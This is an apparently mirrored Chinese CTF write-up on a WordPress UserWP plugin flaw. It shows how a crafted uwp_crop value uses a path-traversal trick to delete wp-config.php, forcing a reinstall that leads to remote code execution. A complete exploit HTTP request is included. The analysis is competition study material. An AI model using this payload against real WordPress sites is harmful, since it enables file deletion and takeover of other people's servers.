9

网鼎杯半决赛渗透wordpress plugin rce分析

 1 year ago
source link: https://guokeya.github.io/post/m4_xEqrL4/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client
CTF

网鼎杯半决赛渗透wordpress plugin rce分析

Posted on 2023-04-14,3 min read

www.zip。题目给了hint

userwp插件洞。。unlink rce

思路就是userwp unlink 删除一个config.php 重装rce

全局搜unlink。就三个点。一个

这里参数是定死的。没办法。

接下来两个都是漏洞点。

直接反推过去。

红框中的是一个sign校验。可以构造。先不管,下面POST的uwp_crop直接传参给$image_url

下面就用pathinfo对$image_url获取ext和name。传入1.php就会变成1_uwp_avatar_thumb.php

​ 然后传入uwp_resizeThumbnailImage。函数内容就是返回第一个参数。。不用多看

所以上面传入1.php会变成1_uwp_avatar_thumb.php。怎么删除config.php呢。

注意这里str_replace。会把$upload_url替换为空。

是把http://host/替换为空

/../../../../../config.http://127.0.0.1/wp-content/uploadsphp
经过pathinfo时。解析为
array(3) {
  ["dirname"]=>
  string(50) "/../../../../../config.http://127.0.0.1/wp-content"
  ["basename"]=>
  string(10) "uploadsphp"
  ["filename"]=>
  string(10) "uploadsphp"
}
没有Ext了。也就变成了把
uploadsphp. 替换成1_uwp_avatar_thumb.php
由于http://127.0.0.1/wp-content/uploads。这个之后会被替换为空的内容存在。所以没被替换。

然后到了
$cropped = str_replace( $upload_url, '', $cropped );
替换掉了http://127.0.0.1/wp-content/uploads。url又变成了../../../../../config.php

最终忽略掉wp_verify_nonce的exp。wp_verify_nonce是队友调的。懒得写了

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_5c016e8f0f95f039102cbe8366c5c7f3=test%7C1681652395%7CqtCZU9g4soL133lLkf1pnUbt6zBWpoOCSKthvD3N9ML%7C3a29c08073c831573e877b8dee2e70020332c26d0b91d2f5f319eac5180fd6bc
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 112

action=uwp_ajax_login_form&uwp_avatar_crop=1&uwp_crop=/../../../wp-config.http://127.0.0.1/wp-content/uploadsphp

最后http://127.0.0.1/wp-admin/setup-config.php?step=1&language=zh_CN

重装数据库。登录后台应该就能RCE了。比赛的时候。最后十分钟调出来了。题目不出网bootstrap转半天。。还没拿到nonce就结束了。

下一篇: 强国杯决赛Writeup→

Gitalking ...


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK